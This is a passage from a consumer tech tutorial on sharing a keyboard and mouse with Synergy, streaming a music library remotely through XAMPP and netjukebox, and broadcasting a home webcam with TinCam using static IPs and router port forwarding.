screens. Click the “+” button below to confirm the link.
It’s important to note that you must establish the links both ways—just establishing a link from the right of one screen will not automatically establish the corresponding link from the left of the other. Once you’ve established all links, the screen should look something like this:  Press ok to go back to the main menu, and click “Test.” This will
start the server without closing the configuration window. Now, you’re
ready to start the clients. On a Mac or Unix Box:For Unix or Mac OS X, we’ll configure Synergy with the same information, only we’ll do it with a config file, instead of a GUI. Below, we’ve included a screenshot of the config file we used to get a Unix box (“fernando”) and a Windows laptop (“laptop”) connected. If you copy this example, substituting your own computers’ names and relative positions, it should work fine. Save the file as “synergy.conf.” 
Once you have the config file saved, it’s time to run the Synergy server application. On Unix, do this by typing the following into the terminal: synergys -f --config synergy.conf Substitute the full pathname if synergys isn’t in the PATH. It works the same on Mac, except that you can drag the synergys and synergy.conf files onto the terminal in lieu of typing the whole pathname. The -f command line option causes Synergy to run in the foreground, so you can identify any potential problems. Once you know it works, remove the -f to have it run hidden in the background. 3. Run Synergy on the Client ComputersFortunately, Synergy doesn’t require much in the way of configuration when it’s run as a client. On a Windows computer, simply run the Synergy executable, select the radial marked “Use another computer’s shared keyboard and mouse (client),” and enter the name of the host computer in the field marked “Other computer’s host name.” 
Now click “Test” on the client computer, and you’re in business. Synergy will attempt to establish a link to the host and will show you a log of any problems it encounters. Assuming everything runs smoothly, the next time you run Synergy, do so by pressing “Start” instead of “Test” on each computer, and Synergy will tuck itself away in the task bar.
synergyc -f server-host-name replacing server-host-name with the name of your host computer and using the full pathname if synergyc isn’t in the PATH. Once again, it’s the same on a Mac, except that you can drag synergyc onto the terminal instead of typing out the pathname. Now, you should be set up to control all your computers with one mouse and keyboard. You can fine-tune your experience in the options menu, although Synergy is such a simple app that there really isn’t a lot to customize.
Stream Your Music Library to Any ComputerSometimes you just want to browse and listen to your album collection at the office without having to load it all into a portable music player. Pandora and Last.fm are great web services that can help you discover new music, but they won’t let you specify your own music playlist. Streaming music from within a home network is easy with iTunes and Windows Media Player; what’s trickier is getting access to your 100GB music library while away from home. We’ll teach you how to turn your library into an Internet radio station with Apache server software and a little-known program called netjukebox. You’ll be able to browse your collection via a gallery of album cover art, stream custom playlists, and even download entire albums as zip files.
Step 1: Set up an Apache ServerThe first thing you need to do is turn your desktop into an Apache web server. This will let you run the netjukebox software and serve web content. Installing an Apache server can be a complicated process, so we recommend using XAMPP (www.apachefriends.org), a web server package, to streamline the setup. This package includes Apache HTTP, MySQL, PHP, and even FTP server support. Download the latest version of XAMPP for Windows (1.7 as of this writing) and run the installer. Choose the default install location (C:\xampp is recommended, especially for Vista) and choose your desired shortcut icons on the Install screen. You’re also given an option to install Apache as a service, as opposed to an application, which allows it to start even before you’re logged in to Windows.
After XAMPP finishes installing, launch its Control Panel. Click the Start button next to Apache and MySQL to enable the web server. The other options let you run a FileZilla FTP server and a Mercury email server, which we won’t be using here. If Apache and MySQL are activated properly, you’ll see their status as “Running,” highlighted by a green bar. Minimize this Control Panel to the system tray.
You might face a Windows Security Alertfor both Apache and Mysql notifying you that Windows Firewall has blocked these programs. Click "Unblock" for both. Step 2: Install netjukeboxHead to the official netjukebox website (www.netjukebox.nl/) and find you way to the downloads section. Download the netjukebox for PHP zip package —the current version is 5.10b—as well as the codec pack linked below it. Navigate to the “htdocs” subfolder of your XAMPP install direcotry and extract the contents of the netjukebox zip file into a folder called “netjukebox.”
Open a web browser and type “http://localhost/netjukebox/” into the address bar. If you extracted the files correctly, you should see a light-blue login page.netjukebox will indicate to you that your default administrator login and password are admin and admin, respectively.
Create a new folder called “codecs” within the netjukebox folder, then unzip the 14 files in the previously downloaded codec zip file into this new folder (C:\xampp\htdocs\netjukebox\codecs). Step 3: Configure Your SecurityAccess the XAMPP settings page by directing your web browser to http://localhost/xampp/. Choose your language (we're assuming English) to go through to the main XAMPP page. Click the Security link in the menu on the left side of the page. If you are using Vista, you may encounter an error page that reads: "Access forbidden! You don't have permission to access the requested object. It it either read-protected or not readable by the server." To get around this,go to your "C:\xampp\apache\conf\extra" folder and open httpd-xampp.conf in Notepad. Find the two lines that read "Allow from localhost" and replace them with "Allow from 127.0.0.1". Next, go to your XAMPP control panel and STOP Apache before restarting it again. Flush your browser's cache and try accessing the security page again (http://localhost/security/index.php). Right now, the status of your XAMPP pages and MySQL admin user root should be unsecure. Click the link in the middle of the page (http://localhost/security/xamppsecurity.php) to set up your server passwords.
Choose a strong password in the required field under the MySQL section, confirm it, and select “cookie” as the PhpMyAdmin authentification setting. Leave the “Safe plain password in text filed” box unchecked. Click the "Password Changing" button to submit the new password. Enter and confirm a username and password for the XAMPP Directory Protection (.htaccess) section as well. Click Submit to save your changes. You should receive a confirmation that your XAMPP directory is now secure, and the security page will reflect the new security status. From now on, you'll have to enter your new XAMPP login and password if you want to access the XAMPP browser page.
Step 4: Configure netjukeboxNavigate to the “include” subfolder under netjukebox (C:\xampp\htdocs\netjukebox\include) and open the config.inc.php file with Notepad (drag the file into the Notepad app). You’ll have to edit a few lines in this configuration file to direct netjukebox to your music library and set up an administrator password. Search for the line that begins with $cfg[‘media_dir’]. You’ll see that the default location where netjukebox searches for your music collection is D:\Media. Replace that with the location of your music files. We directed netjukebox to C:/Music/. Note that you must use forward slashes AND a trailing slash in this field.
Next, search for the line in this config file that begins with $cfg[‘codec_dir’]. This is where netjukebox looks for the audio codecs to play or transcode your MP3s. Replace the default address with C:\xampp\htdocs\netjukebox\codecs\\. It’s important to note that we use backslashes in this field, plus we end the line with an extra backslash (double backslash).
Finally, find the section that starts with the MySQLi Configuration header in this same file. Under the line $cfg[‘mysqli_password’], replace the blank password field with the MySQL password you entered in the previous security step. Note that this is the MySQL password and not the XAMPP Directory protection password, though you may have entered the same code for both. Save and close the configuration file.
Step 5: Import Your MusicUsing your web browser, go to your netjukebox administrator page (http://localhost/netjukebox/users.php). Enter “admin” as both the default username and password. Click the admin username on the left and change the password. The admin account lets you create new user accounts, as well as restrict what users can do on your netjukebox. You'll have to relog back in after you do this. Go to the main netjukebox configuration panel by clicking the config tab at the top of the page. If this is your first time using netjukebox, click the Update link under the Configuration window. Netjukebox will scour your music library and index all your albums. This may take a while, depending on how many songs you have in your collection and the speed of your system.
Netjukebox also has a really cool feature that automatically searches for album art for all of your CDs. In the Configuration menu, click the Update Image link, and the system will cycle through all of your albums, searching online databases for album covers based on folder names, and let you approve each piece of cover art. Alternatively, you can just click the "Update images from the Internet" link that shows up after your album collection is updated (see below).
This is the most tedious step in this tutorial, but the effort is worth it. If the auto search can't find the right album cover, you can edit the artist and album search strings or even manually upload your own album cover. Step 6: Broadcast Your JukeboxTo remotely stream or download your music, find your IP with a service like www.whatismyip.com. From any web browser, type in your IP and add the /netjukebox/ extension. If you’re not behind any firewalls, you’ll get access to the netjukebox login page and be able to browse through all of your music files! You can also set up a dynamic DNS to access your music server without memorizing your IP. To do so, go to www.dyndns.com and create an account. Authenticate the account via email and log into the dyndns website. Click the "Services" tab and go to "Dynamic DNS" option. Follow through the "Get Started" link to continue. Enter a custom subdomain (we used our name) and select from one of the 88 available domains. Enter your IP address that you found with whatismyip.com under the "IP Address" field or click the auto-detect option if you're on your localhost machine. Leave all the other settings as their default and click "Create Host". From now on, if you want to access your netjukebox from anywhere, just type your dynamic DNS address and add "/netjukebox" into the browser address field. For example, our address would be "http://norman.dnydnsdomain.net/netjukebox" If you're set up behind a home router, you will need to use port forwarding to access your netjukebox server. Go into your router settings (run ipconfig in the command prompt to find your router/gateway address) and find the Port forwarding section. Add a new port forwarding rule set with both TCP and UDP, using 8088 as the external port and 80 as the internal port. Enter your system's network IP address (also found with the ipconfig command) and insert it in the appropriate field. Refer to our screenshot below for an example.
With port forwarding in place, you have to add the external port (we chose 8088) to your dynamic dns address to be routed to netjukebox. Using our previous sample domain, our new netjukebox address would be "http://norman.dnydnsdomain.net:8088/netjukebox" And that's it! Be sure to mess around with your netjukebox settings to discover its awesome features. Remember that all of your streams will be limited by your home internet connection (upload speeds), so don't give out your private netjukebox account to anyone!
You know it and I know it: The moment you leave your house, your pets have a party. But the moment you return, they go right back to their mild-mannered pet personas. To catch them in party mode, you need a streaming video camera! By connecting a typical webcam to an old laptop or PC running the appropriate software, you can set up a streaming video feed that you can access from anywhere on the Internet. It’s easy to do and you’ll be able to peek into your home from anywhere you have Internet access. We’ve even peeked in on our pooch from a cellphone. Even though it seems like a fairly simple project, you’ll need to muck around in the configuration screens for your router. Let’s get started!
1. Prepare Your Streaming ServerThe first thing you’ll need to do is configure the machine you’re going to connect the camera to. You’ll need to install the drivers and software for your webcam, install the streaming software, configure the machine to use a static IP address, and disable power management—you don’t want the machine going into a power-saving mode.
To disable power management, open the Control Panel and go to the Power Options panel. Then make sure the System Standby option is set to Never. Make sure your webcam is working properly—most cams include an app that shows you the output. To configure your rig for a static IP address, the first thing you need to do is find the appropriate settings for your config. Go to the Control Panel, then click the Network Connections icon. Right-click your Internet connection—it will usually be called Local Area Connection—and click Status. Go to the Support tab and click Details. You should write down your current IP address, default gateway, and DNS servers; you’ll need that info when you configure the static IP.
If you’re using a software firewall on this machine, you’ll also need to configure it to allow TinCam (the streaming app) to receive requests on port 8080, or the firewall will stop them. Consult your firewall’s documentation for info on enabling port forwarding for a single app or port.
2. Configure TinCamOpen TinCam, and cancel out of the configuration wizard. The wizard helps you configure a webcam that posts a static image on the web, but we’re going to be streaming video, so it’s not necessary. Click the Setup menu and open the Setup option, then go to Video Devices and make sure the box for your camera is selected. Then click the sub-menu for your camera and configure its output format and the affiliated audio source (if you want to stream audio, that is).
This is also the pane you use to set the streaming resolution. The resolution has a direct impact on the number of clients you can stream video to. If you set it too high, your connection will only be able to support one stream. Too low, and you won’t be able to see anything on your video. We recommend starting at 640x480, then testing the video outside your home LAN to see exactly how it performs. Of course, if you’re only going to stream the video within your home, bandwidth is no object, and you’ll be able to stream at the maximum resolution of your webcam. Next, you’ll need to create the streaming file, which you’ll need to upload to your personal website. This .wvx file contains the relevant information about your video stream—including the IP address, bit rate, and format—which lets software players find and connect to your server. Configure the downstream bit rate for your connection type (e.g. DSL, cable, T1) and the maximum number of users you want to support. Then click the Detect button to embed your IP address in the file, and make sure the Create Stream File box is checked. When you close the dialog box, the streaming file will be in the directory you specified earlier.
3. Design Your Streaming PageThe nice thing about your streaming page is that it can be as fancy or simple as you like. The simplest thing to do is to make a link to the .wvx file (created in Step 2) on your website. This is the code we used on our webpage (replace the brackets with greater than/less than): [a href=”http://www.url.com/webcam.wvx”]Webcam[/a]
Of course, you’ll need to replace www.url.com/webcam.wvx with the path to your streaming file. If you want your own streaming page to look a little fancier, use Notepad or your favorite HTML editor to create the page, just like you would for any other webpage, and embed this code where you want the video player to show up (replace brackets with greater than/less than):
[OBJECT ID=”MediaPlayer0” WIDTH=640 HEIGHT=525
[PARAM name=”autoStart” value=”True”]
[EMBED TYPE=”application/x-mplayer2”
4. Configure Your RouterNext, you need to configure your router to forward connections from the net to your streaming server. The details will vary from router to router, but the basic steps are the same. First, you need to access your router’s web interface. Open your browser and type the IP address you wrote down earlier for your default gateway—your router is your gateway. Enter your router’s password when prompted, and then look for a page labeled Port Forwarding, Gaming, or Servers.
5. Upload and Test Your StreamNow you’ll need to upload the stream file you created in Step 2, as well as the HTML file you created in Step 3, to your website. It’s a good idea to put these in a subfolder of your public_html directory. That way, you can easily add a password to the subfolder, to give your cam minimal protection from prying eyes.When the files are uploaded, go to your streaming server, open TinCam, click the Capture menu, and then select Video Streaming. Your stream should be live at this point. Browse to the page you uploaded, and check it out!
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Now,
close that window, go back to the General tab, and click Properties.
Double-click Internet Protocol (TCP/IP). In the window that opens, you
should click “Use the following IP address.” This is where it gets
tricky. To figure out your new static IP, you should look at the
default gateway setting you wrote down before. Then add one to the
final number in the default gateway (it’s usually 192.168.0.1, so your
new IP would be 192.168.0.2). Your subnet mask will be 255.255.255.0
and you can use the same default gateway and DNS servers you were using
before. Press OK and close all the windows you just opened. If
everything works and Windows doesn’t give you an error, you can move on
to the next step. If Windows says your IP is already in use, you’ll
need to try another IP address.
Regardless
of your router’s brand, you’ll need to configure a port to forward, as
well as tell the router which type of traffic to pass through, and the
destination on your internal network. The port range will be 8080 to
8080, the IP address will be the static IP you assigned in Step 1, and
you should forward both TCP and UDP packets. Make sure your new
forwarded port is enabled, click the button to apply your settings, and
you’re done with the router config.
